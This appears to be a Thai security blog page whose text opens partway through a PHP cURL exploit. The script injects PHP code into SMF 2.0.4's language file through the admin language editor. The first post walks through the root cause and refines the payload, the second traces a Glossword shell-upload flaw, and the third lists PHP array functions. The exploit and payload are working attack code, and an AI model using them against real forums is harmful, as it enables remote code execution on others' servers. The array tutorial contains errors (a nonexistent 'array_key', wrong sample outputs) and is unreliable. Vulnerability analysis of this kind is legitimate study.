$cookie = 'SMFCookie956=allCookiesHere';
$ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$page = curl_exec($ch);

echo 'PHP code:<br>'.$page;

curl_close($ch); // to close 'logged-in' part

?>
          ผมได้เห็นโค้ด Exploit ที่ใช้ยิงแล้วจึงเกิดความสงสัยว่า ทำไมมันถึงได้บัค จึงอยากจะโหลดมาแงะดู แต่ช่วงนั้นบวชอยู่ไม่สะดวกเลย :/
          ขั้นแรกก็ตามสเต๊ปครับเนื่องจากเป็น CMS Opensource ผมจึงเข้าไปโหลด SMF 2.0.4 มาจากเว็บหลักได้เลยตามนี้

http://mirror.ord.simplemachines.org/downloads/smf_2-0-4_install.zip

          เมื่อโหลดมาลงเสร็จเรียบร้อยแล้ว Login เป็น Admin เข้าไป ( Exploit นี้ Need admin privileges ) เพื่อใช้งาน Exploit ด้านบนครับ แต่เมื่อดูจากโค้ดแล้วผมจึงเข้าไปที่ลิงค์ตามนี้

http://localhost/smf2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english

ก็จะเห็นหน้าตาแบบนี้


          พอเห็นแบบนี้ผมจึงแงะ หาที่มาของบัคนี้ว่า ทำไมถึงบัคและเขียนยังไงถึงบัค จนมาพบกับโค้ดในไฟล์ Sources/ManageServer.php ( บรรทัดที่ 1344-1364 )

// Saving primary settings?
$madeSave = false;
if (!empty($_POST['save_main']) && !$current_file)
{
 checkSession();
  // Read in the current file.
 $current_data = implode('', file($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php'));
 // These are the replacements. old => new
 $replace_array = array(
  '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';',
  '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
  '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
  '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
  '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
 );
 $current_data = preg_replace(array_keys($replace_array), array_values($replace_array), $current_data);
 $fp = fopen($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php', 'w+');
 fwrite($fp, $current_data);
 fclose($fp);
  $madeSave = true;
}
สังเกตุว่าจะมีการรับค่า POST

addslashes($_POST['character_set']), addslashes($_POST['locale']), addslashes($_POST['dictionary']), addslashes($_POST['spelling'])

มาเขียนค่าในตัวแปร $current_data ลงไฟล์ php ลงไปด้วยฟังก์ชั่น fwrite ของ php จากบรรทัดที่ 1360
$current_data = preg_replace(array_keys($replace_array), array_values($replace_array), $current_data);
$fp = fopen($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php', 'w+');
fwrite($fp, $current_data);
fclose($fp);

โค้ดใน index.english.php เดิมจะเป็นแบบนี้ครับ

$txt['lang_locale'] = 'en_US';
$txt['lang_dictionary'] = 'en';
$txt['lang_spelling'] = 'american';

// Ensure you remember to use uppercase for character set strings.
$txt['lang_character_set'] = 'en';

ซึ่ง PHP Code ที่ Inject เข้าไปจะถูกเขียนไว้ที่

http://localhost/smf2.0.4/Themes/default/languages/index.english.php

          ซึ่งผมดูจาก Exploit Code แล้วจาก p0c\\';phpinfo();// ที่ทำให้ PHP Code ทำงานนั้นทำไมต้องมี '; เพราะจะได้ไปต่อกับโค้ดด้านในไฟล์ index.english.php


$txt['lang_locale'] = 'helloworld';
$txt['lang_dictionary'] = 'p0c\\\';phpinfo();//';
$txt['lang_spelling'] = 'american';

// Ensure you remember to use uppercase for character set strings.
$txt['lang_character_set'] = 'en';

          แต่จากที่ดู phpinfo(); ยังไม่ทำงานเพราะยังเป็น string ที่ถูกเก็บในตัวแปรอยู่ และตรง ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0 จะไม่ตายตัว
          ผมจึงคิดว่า Exploit Code นี้ถ้าใครไม่รู้คงคิดว่าใช้งานไม่ได้ ผมจึงเติม * ไปด้านท้ายจะทำให้เป็น p0c\\\';phpinfo();//* ซึ่ง /* ก็คือ Comment แบบ Multi Line และ // เป็น Comment แบบ Single Line ในภาษา PHP นั้นเอง มันจะทำให้โค้ดด้านหลังไม่ถูกนำมาใช้งานหรือประมวลผลได้ครับผม


เมื่อกด save ไปแล้วก็เช่นเคยครับ โค้ด PHP จะถูกเขียนลงไปในไฟล์ index.english.php ที่บรรทัดที่ 11-16
$txt['lang_locale'] = 'helloworld';
$txt['lang_dictionary'] = 'p0c\\';phpinfo();//*';
$txt['lang_spelling'] = 'american';

// Ensure you remember to use uppercase for character set strings.
$txt['lang_character_set'] = 'en';

          จะเห็นได้ว่าโค้ดด้านหลัง /* จะเป็น Comment และ phpinfo(); ทำงานแล้ว หลายคนอาจจะสงสัยว่าทั้งที่ phpinfo(); ถูกเขียนไว้ใน index.english.php แล้วถูกเรียกมาทำงานได้อย่างไร


คำตอบอยู่ที่ไฟล์ที่บัคบรรทัดที่ 1368 ไฟล์ Sources/ManageServer.php ครับ

require($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php');

          ซึ่งฟังก์ชั่น require ของ php นั้นจะรันโค้ด php ให้อยู่แล้วทำให้ phpinfo(); ที่อยู่ในไฟล์ index.english.php ทำงานครับ และเมื่อเข้าไปในลิงค์ตรงๆของไฟล์ index.english.php ที่ถูกเขียนผลลัพธ์ก็คือ :)

http://localhost/smf2.0.4/Themes/default/languages/index.english.php


          เรียบร้อยครับ แต่ทว่าบัคนี้ไม่ใช่จะเอาไปแฮกหรือยิง Exploit Code ใส่เว็บที่ใช้ SMF 2.0.4 กันได้ง่ายๆ เพราะต้องการสิทธิ์ Admin ต้องใช้ Cookie Admin เพื่อใช้งาน ซึ่งยากครับ
          ผมจึงนำมาเขียนเป็นบทความเพื่อเผยแพร่เป็นความรู้ให้แก่ผู้ที่ไม่ทราบ และผู้ที่ต้องการจะทราบครับ ขอบคุณครับ , ICheer_No0M

ปล. หลายคนรู้ว่ามันบัค.. แต่จะมีสักกี่คนที่รู้ว่า มันเขียนยังไงถึงได้บัค..
Ref : http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt

วันอาทิตย์ที่ 3 มีนาคม พ.ศ. 2556

วันพุธที่ 6 กุมภาพันธ์ พ.ศ. 2556

การหาจุดที่ Bug จาก CMS ภาค 2

          สวัสดีครับวันนี้ก็จะมาอธิบายเรื่องการหาจุดที่ Bug จาก CMS ภาค 2 นะครับ หลังจากที่ ภาคที่แล้ว ได้อธิบายเกี่ยวกับพื้นฐานกันไป วันนี้มาดูอีกขั้นนึงนะครับ

          เนื่องจากได้ไปเจอในเว็บ packetstormsecurity มาเลยนำมาชำแหละโค้ดให้ศึกษากัน Bug ที่ว่านั้นตัวนี้ครับผม => Glossword 1.8.12 XSS / CSRF / Shell Upload / Database Disclosure (เราจะหา Shell Upload กันนะ) ขั้นแรกเข้าไปในลิงค์นั้น ทางเว็บก็ไม่มีบอกว่าบัคได้ยังไง จากนั้นก็โหลดสคริป CMS ตัวมาดูเลยครับ

          สังเกตุจะมีรูปให้ดูผลลัพธ์อย่างเดียว => http://oi47.tinypic.com/crsde.jpg สังเกตุจากชื่อไฟล์ shell.php


          เมื่อเราจะหาช่องโหว่ Shell Upload ก็ต้องนึกก่อนว่าการ upload ใน php นั้นมีฟังก์ชั่นอะไรบ้าง (copy() ฟังก์ชั่นนี้เก่าตั้งแต่ php 4+, move_uploaded_file() อันนี้น่าจะ php 5+) จากนั้นผมก็ใช้สคริปที่เคยเขียนไว้นานมาแล้ว (ใน linux ใช้ grep คำสั่งเดียวแหละแต่ตอนนี้ linux ผมพังเลยซบ windows พักนึง 555) ค้นหาฟังก์ชั่น move_uploaded_file ก็ได้ผลลัพธ์มาดังนี้


          จะเห็นว่าเจอหลายไฟล์เลยแงะไปแงะมาเจอไฟล์นึงที่ gw_addon\users\users_edit.inc.php ที่มีฟังก์ชั่น move_uploaded_file อยู่ด้วยจากโค้ดนี้

$file_location = '';
if (isset($this->gw_this['vars']['_files']['file_location']))
{
 $file_location = $this->gw_this['vars']['_files']['file_location'];
}
/* */
if (!empty($file_location))
{
 $avatar_file = isset($file_location['tmp_name']) ? $file_location['tmp_name'] : '';
 if ( $avatar_file ) {
  $ar_img_size = getimagesize($avatar_file);
  $file_target = urlencode($this->sys['time_now'].'_'.$file_location['name']);
  /* Create directory */
  $this->oFunc->file_put_contents($this->sys['path_temporary'].'/a/'.$file_target, '');
  if (is_uploaded_file($avatar_file)
   && move_uploaded_file($avatar_file, $this->sys['path_temporary'].'/a/'.$file_target)
  )
  {

          สังเกตุจากตัวแปร $file_target ที่บรรทัดนี้จะสอดคล้องกับชื่อ shell คือมีการใช้ฟังก์ชั่น urlencode เวลาขณะนั้นตามด้วย underscore แล้วก็ชื่อไฟล์จากโค้ดตรงนี้

$file_target = urlencode($this->sys['time_now'].'_'.$file_location['name']);

          จากนั้นก็สังเกตุจากการใช้ function move_uploaded_file จากโค้ดตรงนี้

move_uploaded_file($avatar_file, $this->sys['path_temporary'].'/a/'.$file_target)

           จะมีการใช้ class จากตรงนี้ $this->sys['path_temporary'] ผมก็เลยค้นหาไปเจอได้ว่า sys['path_temporary] นั้นอยู่ในไฟล์ \inc\config.inc.php จากโค้ดตรงนี้

$sys['path_temporary']     = 'gw_temp';

          ตัวแปร $avatar_file ได้เก็บ temp path ของไฟล์ที่จะอัพโหลดไว้ ซึ่งเงื่อนไขดังกล่าวได้ตรงกับ path ในรูปที่มี shell อยู่ จึงมั่นใจได้ว่าบัคได้เกิดจากไฟล์นี้แน่นอน เท่านี้เราก็จะรู้ได้แล้วว่า CMS ตัวนี้บัค Shell Upload จากไฟล์นี้นั่นเอง ขอบคุณที่อ่านจนจบครับ สงสัยอะไรถามได้เลย ,, ICheer_No0M

Ref : http://packetstormsecurity.com/files/120045/glossword_1.8.12_multiplevulns.txt

วันพฤหัสบดีที่ 31 มกราคม พ.ศ. 2556

17 ฟังก์ชันที่มีประโยชน์สำหรับจัดการอาร์เรย์ใน PHP.

1. sizeof($arr) *ใช้ count($arr) ก็ได้
ฟังก์ชั่นนี้จะคืนค่าจำนวนค่าทั้งหมดที่อยู่ใน array
$data = array("red", "green", "blue");
echo "Array has " . sizeof($data) . " elements"; // มี 3 ค่าใน array
// Output : Array has 3 elements
2. array_values($arr)
ฟังก์ชั่นนี้จะคืนค่า value ใน associative array
$data = array("hero" => "Holmes", "villain" => "Moriarty");
print_r(array_values($data));// คืนค่าเฉพาะ value
/* Output : 
Array
(
[0] => Holmes
[1] => Moriarty 
)*/
3. array_key($arr)
ฟังก์ชั่นนี้จะคืนค่า key ใน associative array
$data = array("hero" => "Holmes", "villain" => "Moriarty");
print_r(array_key($data)); // คืนค่าเฉพาะ key
/* Output : 
Array
(
[0] => hero
[1] => villain
)*/
4. array_pop($arr)
ฟังก์ชั่นนี้จะเอาค่า index สุดท้ายใน array ออก
$data = array("Donald", "Jim", "Tom");
array_pop($data); // Tom ถูกถอดออก
print_r($data);
/* Output : 
Array
(
[0] => Donald
[1] => Jim
)*/
5. array_push($arr,$val)
ฟังก์ชั่นนี้จะเพิ่มค่าลงไปใน array
$data = array("Donald", "Jim", "Tom");
array_push($data, "Harry"); // เพิ่ม Harry ลงใน array $data
print_r($data);
/* Output : 
Array
(
[0] => Donald
[1] => Jim
[2] => Tom
[3] => Harry
)*/
6. array_shift($arr,$val)
ฟังก์ชั่นนี้จะเอาค่าแรก index ที่ 0 ใน array ออก
$data = array("Donald", "Jim", "Tom");
array_shift($data); // Donald ซึ่งเป็น $data[0] จะถูกถอดออกไป
print_r($data);
/* Output : 
Array
(
[0] => Jim
[1] => Tom
)*/
7. array_unshift($arr, $val)
ฟังก์ชั่นนี้จะเพิ่มค่าลงใน index ที่ 0 ใน array
$data = array("Donald", "Jim", "Tom");
array_unshift($data, "Sarah"); // Sarah ถูกเพิ่มเข้ามาเป็น $data[0]
print_r($data);
/* Output : 
Array
(
[0] => Sarah
[1] => Donald
[2] => Jim
[3] => Tom
)*/
8. each($arr)
ฟังก์ชั่นนี้จะวนนำค่าใน array เข้ามาใน while loop เพื่อแสดง
$data = array("hero" => "Holmes", "villain" => "Moriarty");
while (list($key, $value) = each($data)) {
echo "$key: $value \n";
}
/* Output : 
hero: Holmes 
villain: Moriarty*/
9. sort($arr)
ฟังก์ชั่นนี้จะเรียงลำดับค่าใน array ตามตัวอักษร
$data = array("g", "t", "a", "s");
sort($data); // เรียงลำดับ a-z
print_r($data);
/* Output : 
Array
(
[0] => a
[1] => g
[2] => s
[3] => t
)*/
10. array_flip($arr)
ฟังก์ชั่นนี้ใช้สลับ key กับ value
$data = array("a" => "apple", "b" => "ball");
print_r(array_flip($data)); // สลับค่ากัน
/* Output : 
Array
(
[apple] => a
[ball] => b
)*/
11. array_reverse($arr)
ฟังก์ชั่นนี้ใช้ย้อนกลับค่าใน array (เช่นต้องการเรียงลำดับจากมากไปน้อย)
$data = array(10, 20, 25, 60);
print_r(array_reverse($data)); // เรียงจากหลังไปหน้า 
/* Output : 
Array
(
[0] => 60
[1] => 25
[2] => 20
[3] => 10
)*/
12. array_merge($arr)
ฟังก์ชั่นนี้ใช้ผสานหรือรวม array เข้าด้วยกัน
$data1 = array("cat", "goat");
$data2 = array("dog", "cow");
print_r(array_merge($data1, $data2)); // รวม 2 อาร์เรย์เข้าด้วยกัน
/* Output : 
Array
(
[0] => cat
[1] => goat
[2] => dog
[3] => cow
)*/
13. array_rand($arr)
ฟังก์ชั่นนี้ใช้สุ่มเลือกค่าใน array
$data = array("white", "black", "red");
echo "Today's color is " . $data[array_rand($data)]; //สุ่มค่า
/* Output : 
Today's color is red*/
14. array_search($search, $arr)
ฟังก์ชั่นนี้ใช้ค้นหาค่าใน array ถ้าพบจะถูกส่งค่ากลับไป
$data = array("blue" => "#0000cc", "black" => "#000000", "green" => "#00ff00");
echo "Found " . array_search("#0000cc", $data); // ค้นหา
/* Output : 
Found blue*/
15. array_slice($arr, $offset, $length)
ฟังก์ชั่นนี้ใช้แบ่งกลุ่ม array
$data = array("vanilla", "strawberry", "mango", "peaches");
print_r(array_slice($data, 1, 2)); // แบ่งแยกค่า
/* Output : 
Array
(
[0] => strawberry
[1] => mango
)*/
16. array_unique($data)
ฟังก์ชั่นนี้ช่่วยในการเอาค่าที่ซ้ำกันใน array ออกไป
$data = array(1,1,4,6,7,4);
print_r(array_unique($data)); // เอาค่าซ้ำออก (1,4)
/* Output : 
Array
(
[0] => 1
[3] => 6
[4] => 7
[5] => 4
)*/
17. array_walk($arr, $func)
ฟังก์ชั่นนี้ช่่วยในการส่งฟังก์ชั่นที่ต้องการเข้าไปกระทำในทุกค่าใน array
function reduceBy10(&$val, $key) {
$val -= $val * 0.1;
}

$data = array(10,20,30,40);
array_walk($data, 'reduceBy10'); // ส่งฟังก์ชั่น reduceBy10 เข้าไปกระทำกับทุก elements ใน array
print_r($data);
/* Output : 
Array
(
[0] => 9
[1] => 18
[2] => 27
[3] => 36
)*/

แปลจาก : http://www.techrepublic.com/article/17-useful-functions-for-manipulating-arrays-in-php/5792851